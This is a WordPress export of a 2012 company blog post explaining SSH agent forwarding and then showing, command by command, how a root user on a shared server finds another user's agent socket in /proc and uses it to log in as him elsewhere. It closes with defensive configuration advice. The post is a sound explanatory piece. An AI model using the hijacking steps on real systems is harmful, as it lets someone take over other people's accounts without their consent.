{"id":2435,"date":"2012-09-28T00:00:00","date_gmt":"2012-09-28T00:00:00","guid":{"rendered":"https:\/\/www.clockwork.com\/?p=2435"},"modified":"2025-03-20T16:06:00","modified_gmt":"2025-03-20T16:06:00","slug":"ssh-agent-hijacking","status":"publish","type":"post","link":"https:\/\/www.clockwork.com\/insights\/ssh-agent-hijacking\/","title":{"rendered":"SSH Agent Hijacking"},"content":{"rendered":"\n<h4 class=\"wp-block-heading\">When ForwardAgent Can&#8217;t Be Trusted<\/h4>\n\n\n\n<p>SSH without passwords makes life with Unix-like operating systems much easier. If your network requires chained ssh sessions (to access a restricted network, for example), agent forwarding becomes extremely helpful. With agent forwarding it&#8217;s possible for me to connect from my laptop to my dev server and from there run an&nbsp;svn checkout&nbsp;from yet another server, all without passwords, while keeping my private key safe on my local workstation.<\/p>\n\n\n\n<p>This can be dangerous, though. A quick web search will reveal several articles indicating this is only safe if the intermediate hosts are trustworthy. Rarely, however, will you find an explanation of&nbsp;<em>why<\/em>&nbsp;it&#8217;s dangerous.<\/p>\n\n\n\n<p>That&#8217;s what this article is for. But first, some background.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">How Passwordless Authentication Works<\/h4>\n\n\n\n<p>When authenticating in normal mode, SSH uses your password to prove that you are who you say you are. The server compares a hash of this password to one it has on file, verifies that the hashes match, and lets you in.<\/p>\n\n\n\n<p>If an attacker is able to break the encryption used to protect your password while it&#8217;s being sent to the server, they can steal the it and log in as you whenever they desire. If an attacker is allowed to perform hundreds of thousands of attempts, they can eventually guess your password.<\/p>\n\n\n\n<p>A much safer authentication method is\u00a0<a href=\"http:\/\/www.ibm.com\/developerworks\/library\/l-keyc\/index.html\" target=\"_blank\" rel=\"noreferrer noopener nofollow\" class=\"broken_link\">public key authentication<\/a>, a way of logging in without a password. Public key authentication requires a matched pair of public and private keys. The public key encrypts messages that can only be decrypted with the private key. The remote computer uses its copy of your public key to encrypt a secret message to you. You prove you are you by decrypting the message using your private key and sending the message back to the remote computer. Your private key remains safely on your local computer the entire time, safe from attack.<\/p>\n\n\n\n<p>The private key is valuable and must be protected, so by default it is stored in an encrypted format. Unfortunately this means entering your encryption passphrase before using it. Many articles suggest using passphrase-less (unencrypted) private keys to avoid this inconvenience. That&#8217;s a bad idea, as anyone with access to your workstation (via physical access, theft, or hackery) now also has free access to any computers configured with your public key.<\/p>\n\n\n\n<p>OpenSSH includes\u00a0<a href=\"http:\/\/www.openbsd.org\/cgi-bin\/man.cgi?query=ssh-agent\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">ssh-agent<\/a>, a daemon that runs on your local workstation. It loads a decrypted copy of your private key into memory, so you only have to enter your passphrase once. It then provides a local\u00a0<a href=\"http:\/\/en.wikipedia.org\/wiki\/Unix_domain_socket\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">socket<\/a>\u00a0that the ssh client can use to ask it to decrypt the encrypted message sent back by the remote server. Your private key stays safely ensconced in the ssh-agent process&#8217; memory while still allowing you to ssh around without typing in passwords.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">How ForwardAgent Works<\/h4>\n\n\n\n<p>Many tasks require &#8220;chaining&#8221; ssh sessions. Consider my example from earlier: I ssh from my workstation to the dev server. While there, I need to perform an svn update, using the &#8220;svn+ssh&#8221; protocol. Since it would be silly to leave an unencrypted copy of my super-secret private key on a shared server, I&#8217;m now stuck with password authentication. If, however, I enabled &#8220;ForwardAgent&#8221; in the ssh config on my workstation, ssh uses its built-in tunneling capabilities to create another socket on the dev server that is tunneled back to the ssh-agent socket on my local workstation. This means that the ssh client on the dev server can now send &#8220;decrypt this secret message&#8221; requests directly back to the ssh-agent running on my workstation, authenticating itself to the svn server without ever having access to my private key.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Why This Can Be Dangerous<\/h4>\n\n\n\n<p>Simply put, anyone with root privilege on the the intermediate server can make free use of your ssh-agent to authenticate them to other servers. A simple demonstration shows how trivially this can be done. Hostnames and usernames have been changed to protect the innocent.<\/p>\n\n\n\n<p>My laptop is running ssh-agent, which communicates with the ssh client programs via a socket. The path to this socket is stored in the&nbsp;SSH_AUTH_SOCK&nbsp;environment variable:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">mylaptop:~ env|grep SSH_AUTH_SOCK\nSSH_AUTH_SOCK=\/tmp\/launch-oQKpeY\/Listeners\n\nmylaptop:~ ls -l \/tmp\/launch-oQKpeY\/Listeners\nsrwx------  1 alice  wheel  0 Apr  3 11:04 \/tmp\/launch-oQKpeY\/Listeners\n<\/pre>\n\n\n\n<p>The&nbsp;<a href=\"http:\/\/www.openbsd.org\/cgi-bin\/man.cgi?query=ssh-add\">ssh-add<\/a>&nbsp;program lets us view and interact with keys in the agent:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">mylaptop:~ alice$ ssh-add -l\n2048 2c:2a:d6:09:bb:55:b3:ca:0c:f1:30:f9:d9:a3:c6:9e \/Users\/alice\/.ssh\/id_rsa (RSA)\n<\/pre>\n\n\n\n<p>I have &#8220;ForwardAgent yes&#8221; in the&nbsp;~\/.ssh\/config&nbsp;on my laptop. So&nbsp;ssh&nbsp;is going to create a tunnel connecting the local socket to a local socket on the remote server:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">mylaptop:~ alice$ ssh seattle\n\nseattle:~ $ env|grep SSH_AUTH_SOCK\nSSH_AUTH_SOCK=\/tmp\/ssh-WsKcHa9990\/agent.9990\n<\/pre>\n\n\n\n<p>Even though my keys are not installed on &#8220;seattle&#8221;, the ssh client programs are still able to access the agent running on my local machine:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">seattle:~ alice $ ssh-add -l\n2048 2c:2a:d6:09:bb:55:b3:ca:0c:f1:30:f9:d9:a3:c6:9e \/Users\/alice\/.ssh\/id_rsa (RSA)\n<\/pre>\n\n\n\n<p>So&#8230; who can we mess with?<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">seattle:~ alice $ who\nalice   pts\/0        2012-04-06 18:24 (office.example.com)\nbob     pts\/1        2012-04-03 01:29 (office.example.com)\nalice   pts\/3        2012-04-06 18:31 (office.example.com)\nalice   pts\/5        2012-04-06 18:31 (office.example.com)\nalice   pts\/6        2012-04-06 18:33 (office.example.com)\ncharlie pts\/23       2012-04-06 13:10 (office.example.com)\ncharlie pts\/27       2012-04-03 12:32 (office.example.com)\nbob     pts\/29       2012-04-02 10:58 (office.example.com)\n<\/pre>\n\n\n\n<p>I&#8217;ve never liked Bob. To find his agent connection, I need to find the child process of one of his ssh sessions:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">seattle:~ alice $ sudo -s\n[sudo] password for alice:\n\nseattle:~ root # pstree -p bob\nsshd(16816)\u2500\u2500\u2500bash(16817)\n\nsshd(25296)\u2500\u2500\u2500bash(25297)\u2500\u2500\u2500vim(14308)\n<\/pre>\n\n\n\n<p>There are several ways for root to view the environment of a running process. On Linux, the data is available in&nbsp;\/proc\/&lt;pid&gt;\/environ. Since it&#8217;s stored in NULL-terminated strings, I&#8217;ll use&nbsp;tr&nbsp;to convert the NULLs to newlines:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">seattle:~ root # tr '' 'n' &lt; \/proc\/16817\/environ | grep SSH_AUTH_SOCK\nSSH_AUTH_SOCK=\/tmp\/ssh-haqzR16816\/agent.16816\n<\/pre>\n\n\n\n<p>I now have everything I need to know in order to hijack Bob&#8217;s&nbsp;ssh-agent:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">seattle:~ root # SSH_AUTH_SOCK=\/tmp\/ssh-haqzR16816\/agent.16816 ssh-add -l\n2048 05:f1:12:f2:e6:ad:cb:0b:60:e3:92:fa:c3:62:19:17 \/home\/bob\/.ssh\/id_rsa (RSA)\n<\/pre>\n\n\n\n<p>If I happen to have a specific target in mind, I should now be able to connect directly. Otherwise, just watching the process list or grepping through Bob&#8217;s history file should present plenty of targets of opportunity. In this case, I know Bob has all sorts of super secret files stored on the server named &#8220;boston&#8221;:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">seattle:~ root # SSH_AUTH_SOCK=\/tmp\/ssh-haqzR16816\/agent.16816 ssh bob@boston\nbob@boston:~$ whoami\nbob\n<\/pre>\n\n\n\n<p>I have successfully parlayed my root privileges on &#8220;seattle&#8221; to access as bob on &#8220;boston&#8221;. I&#8217;ll bet I can use that to get him fired.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Protect Yourself!<\/h4>\n\n\n\n<p>Don&#8217;t let your ssh-agent store your keys indefinitely. On OS X, configure your Keychain to lock after inactivity or when your screen locks. On other Unix-y platforms, pass the&nbsp;-t&nbsp;&nbsp;option to&nbsp;ssh-agent&nbsp;so its keys will be removed after&nbsp;&nbsp;seconds.<\/p>\n\n\n\n<p>Don&#8217;t enable agent forwarding when connecting to untrustworthy hosts. Fortunately, the&nbsp;~\/.ssh\/config&nbsp;syntax makes this fairly simple:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">Host trustworthyhost\n  ForwardAgent yes<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">Host *\n  ForwardAgent no\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">Recommended Reading<\/h4>\n\n\n\n<ul class=\"wp-block-list\"><li><a href=\"http:\/\/www.ibm.com\/developerworks\/library\/l-keyc\/index.html\" target=\"_blank\" rel=\"noreferrer noopener nofollow\" class=\"broken_link\">OpenSSH key management<\/a>\u00a0&#8211; Daniel Robbins<\/li><li><a href=\"http:\/\/www.unixwiz.net\/techtips\/ssh-agent-forwarding.html\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">An Illustrated Guide to SSH Agent Forwarding<\/a>\u00a0&#8211; Steve Friedl<\/li><li><a href=\"http:\/\/www.openbsd.org\/cgi-bin\/man.cgi?query=ssh-agent\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">ssh-agent manual<\/a><\/li><li><a href=\"http:\/\/www.openbsd.org\/cgi-bin\/man.cgi?query=ssh-add\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">ssh-add manual<\/a><\/li><\/ul>\n","protected":false},"excerpt":{"rendered":"<p>When ForwardAgent Can&#8217;t Be Trusted SSH without passwords makes life with Unix-like operating systems much easier. If your network requires chained ssh sessions (to access a restricted network, for example), agent forwarding becomes extremely helpful. With agent forwarding it&#8217;s possible for me to connect from my laptop to my dev server and from there run [&hellip;]<\/p>\n","protected":false},"author":24,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"content-type":"","footnotes":""},"categories":[25],"tags":[],"coauthors":[73],"class_list":["post-2435","post","type-post","status-publish","format-standard","hentry","category-technology"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v23.2 (Yoast SEO v25.5) - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>SSH Agent Hijacking<\/title>\n<meta name=\"description\" content=\"Understand ssh hijacking: find out how agent forwarding can lead to vulnerabilities in your network security.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.clockwork.com\/insights\/ssh-agent-hijacking\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"SSH Agent Hijacking\" \/>\n<meta property=\"og:description\" content=\"Understand ssh hijacking: find out how agent forwarding can lead to vulnerabilities in your network security.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.clockwork.com\/insights\/ssh-agent-hijacking\/\" \/>\n<meta property=\"og:site_name\" content=\"Clockwork\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/clockworkactivemedia\" \/>\n<meta property=\"article:published_time\" content=\"2012-09-28T00:00:00+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-03-20T16:06:00+00:00\" \/>\n<meta name=\"author\" content=\"Clockwork\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@Clockwork_Tweet\" \/>\n<meta name=\"twitter:site\" content=\"@Clockwork_Tweet\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.clockwork.com\/insights\/ssh-agent-hijacking\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.clockwork.com\/insights\/ssh-agent-hijacking\/\"},\"author\":{\"name\":\"Clockwork\",\"@id\":\"https:\/\/www.clockwork.com\/#\/schema\/person\/fcf3f173ebec2db95dca5d23decc57e2\"},\"headline\":\"SSH Agent Hijacking\",\"datePublished\":\"2012-09-28T00:00:00+00:00\",\"dateModified\":\"2025-03-20T16:06:00+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.clockwork.com\/insights\/ssh-agent-hijacking\/\"},\"wordCount\":1043,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/www.clockwork.com\/#organization\"},\"articleSection\":[\"Technology\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/www.clockwork.com\/insights\/ssh-agent-hijacking\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.clockwork.com\/insights\/ssh-agent-hijacking\/\",\"url\":\"https:\/\/www.clockwork.com\/insights\/ssh-agent-hijacking\/\",\"name\":\"SSH Agent Hijacking\",\"isPartOf\":{\"@id\":\"https:\/\/www.clockwork.com\/#website\"},\"datePublished\":\"2012-09-28T00:00:00+00:00\",\"dateModified\":\"2025-03-20T16:06:00+00:00\",\"description\":\"Understand ssh hijacking: find out how agent forwarding can lead to vulnerabilities in your network security.\",\"breadcrumb\":{\"@id\":\"https:\/\/www.clockwork.com\/insights\/ssh-agent-hijacking\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.clockwork.com\/insights\/ssh-agent-hijacking\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.clockwork.com\/insights\/ssh-agent-hijacking\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/www.clockwork.com\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Topics\",\"item\":\"https:\/\/www.clockwork.com\/insights\/category\/topics\/\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"Technology\",\"item\":\"https:\/\/www.clockwork.com\/insights\/category\/topics\/technology\/\"},{\"@type\":\"ListItem\",\"position\":4,\"name\":\"SSH Agent Hijacking\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.clockwork.com\/#website\",\"url\":\"https:\/\/www.clockwork.com\/\",\"name\":\"Clockwork\",\"description\":\"We create human-centered digital experiences.\",\"publisher\":{\"@id\":\"https:\/\/www.clockwork.com\/#organization\"},\"alternateName\":\"Clockwork: Custom Software Solutions & Experience Design\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.clockwork.com\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/www.clockwork.com\/#organization\",\"name\":\"Clockwork\",\"url\":\"https:\/\/www.clockwork.com\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.clockwork.com\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/www.clockwork.com\/wp-content\/uploads\/2022\/07\/clockwork.svg\",\"contentUrl\":\"https:\/\/www.clockwork.com\/wp-content\/uploads\/2022\/07\/clockwork.svg\",\"width\":93,\"height\":48,\"caption\":\"Clockwork\"},\"image\":{\"@id\":\"https:\/\/www.clockwork.com\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/www.facebook.com\/clockworkactivemedia\",\"https:\/\/x.com\/Clockwork_Tweet\",\"https:\/\/www.linkedin.com\/company\/clockwork-active-media-systems\"],\"description\":\"Experience design & technology consultancy. We build enterprise websites, software platforms, and mobile apps with a human-centered approach.\",\"legalName\":\"Clockwork\",\"foundingDate\":\"2001-01-01\",\"naics\":\"541511\",\"numberOfEmployees\":{\"@type\":\"QuantitativeValue\",\"minValue\":\"51\",\"maxValue\":\"200\"},\"actionableFeedbackPolicy\":\"https:\/\/www.clockwork.com\/accessibility-statement\/\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.clockwork.com\/#\/schema\/person\/fcf3f173ebec2db95dca5d23decc57e2\",\"name\":\"Clockwork\"}]}<\/script>\n<!-- \/ Yoast SEO Premium plugin. -->","yoast_head_json":{"title":"SSH Agent Hijacking","description":"Understand ssh hijacking: find out how agent forwarding can lead to vulnerabilities in your network security.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.clockwork.com\/insights\/ssh-agent-hijacking\/","og_locale":"en_US","og_type":"article","og_title":"SSH Agent Hijacking","og_description":"Understand ssh hijacking: find out how agent forwarding can lead to vulnerabilities in your network security.","og_url":"https:\/\/www.clockwork.com\/insights\/ssh-agent-hijacking\/","og_site_name":"Clockwork","article_publisher":"https:\/\/www.facebook.com\/clockworkactivemedia","article_published_time":"2012-09-28T00:00:00+00:00","article_modified_time":"2025-03-20T16:06:00+00:00","author":"Clockwork","twitter_card":"summary_large_image","twitter_creator":"@Clockwork_Tweet","twitter_site":"@Clockwork_Tweet","schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.clockwork.com\/insights\/ssh-agent-hijacking\/#article","isPartOf":{"@id":"https:\/\/www.clockwork.com\/insights\/ssh-agent-hijacking\/"},"author":{"name":"Clockwork","@id":"https:\/\/www.clockwork.com\/#\/schema\/person\/fcf3f173ebec2db95dca5d23decc57e2"},"headline":"SSH Agent Hijacking","datePublished":"2012-09-28T00:00:00+00:00","dateModified":"2025-03-20T16:06:00+00:00","mainEntityOfPage":{"@id":"https:\/\/www.clockwork.com\/insights\/ssh-agent-hijacking\/"},"wordCount":1043,"commentCount":0,"publisher":{"@id":"https:\/\/www.clockwork.com\/#organization"},"articleSection":["Technology"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/www.clockwork.com\/insights\/ssh-agent-hijacking\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/www.clockwork.com\/insights\/ssh-agent-hijacking\/","url":"https:\/\/www.clockwork.com\/insights\/ssh-agent-hijacking\/","name":"SSH Agent Hijacking","isPartOf":{"@id":"https:\/\/www.clockwork.com\/#website"},"datePublished":"2012-09-28T00:00:00+00:00","dateModified":"2025-03-20T16:06:00+00:00","description":"Understand ssh hijacking: find out how agent forwarding can lead to vulnerabilities in your network security.","breadcrumb":{"@id":"https:\/\/www.clockwork.com\/insights\/ssh-agent-hijacking\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.clockwork.com\/insights\/ssh-agent-hijacking\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.clockwork.com\/insights\/ssh-agent-hijacking\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.clockwork.com\/"},{"@type":"ListItem","position":2,"name":"Topics","item":"https:\/\/www.clockwork.com\/insights\/category\/topics\/"},{"@type":"ListItem","position":3,"name":"Technology","item":"https:\/\/www.clockwork.com\/insights\/category\/topics\/technology\/"},{"@type":"ListItem","position":4,"name":"SSH Agent Hijacking"}]},{"@type":"WebSite","@id":"https:\/\/www.clockwork.com\/#website","url":"https:\/\/www.clockwork.com\/","name":"Clockwork","description":"We create human-centered digital experiences.","publisher":{"@id":"https:\/\/www.clockwork.com\/#organization"},"alternateName":"Clockwork: Custom Software Solutions & Experience Design","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.clockwork.com\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/www.clockwork.com\/#organization","name":"Clockwork","url":"https:\/\/www.clockwork.com\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/www.clockwork.com\/#\/schema\/logo\/image\/","url":"https:\/\/www.clockwork.com\/wp-content\/uploads\/2022\/07\/clockwork.svg","contentUrl":"https:\/\/www.clockwork.com\/wp-content\/uploads\/2022\/07\/clockwork.svg","width":93,"height":48,"caption":"Clockwork"},"image":{"@id":"https:\/\/www.clockwork.com\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/clockworkactivemedia","https:\/\/x.com\/Clockwork_Tweet","https:\/\/www.linkedin.com\/company\/clockwork-active-media-systems"],"description":"Experience design & technology consultancy. We build enterprise websites, software platforms, and mobile apps with a human-centered approach.","legalName":"Clockwork","foundingDate":"2001-01-01","naics":"541511","numberOfEmployees":{"@type":"QuantitativeValue","minValue":"51","maxValue":"200"},"actionableFeedbackPolicy":"https:\/\/www.clockwork.com\/accessibility-statement\/"},{"@type":"Person","@id":"https:\/\/www.clockwork.com\/#\/schema\/person\/fcf3f173ebec2db95dca5d23decc57e2","name":"Clockwork"}]}},"_links":{"self":[{"href":"https:\/\/www.clockwork.com\/wp-json\/wp\/v2\/posts\/2435","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.clockwork.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.clockwork.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.clockwork.com\/wp-json\/wp\/v2\/users\/24"}],"replies":[{"embeddable":true,"href":"https:\/\/www.clockwork.com\/wp-json\/wp\/v2\/comments?post=2435"}],"version-history":[{"count":2,"href":"https:\/\/www.clockwork.com\/wp-json\/wp\/v2\/posts\/2435\/revisions"}],"predecessor-version":[{"id":2439,"href":"https:\/\/www.clockwork.com\/wp-json\/wp\/v2\/posts\/2435\/revisions\/2439"}],"wp:attachment":[{"href":"https:\/\/www.clockwork.com\/wp-json\/wp\/v2\/media?parent=2435"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.clockwork.com\/wp-json\/wp\/v2\/categories?post=2435"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.clockwork.com\/wp-json\/wp\/v2\/tags?post=2435"},{"taxonomy":"author","embeddable":true,"href":"https:\/\/www.clockwork.com\/wp-json\/wp\/v2\/coauthors?post=2435"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}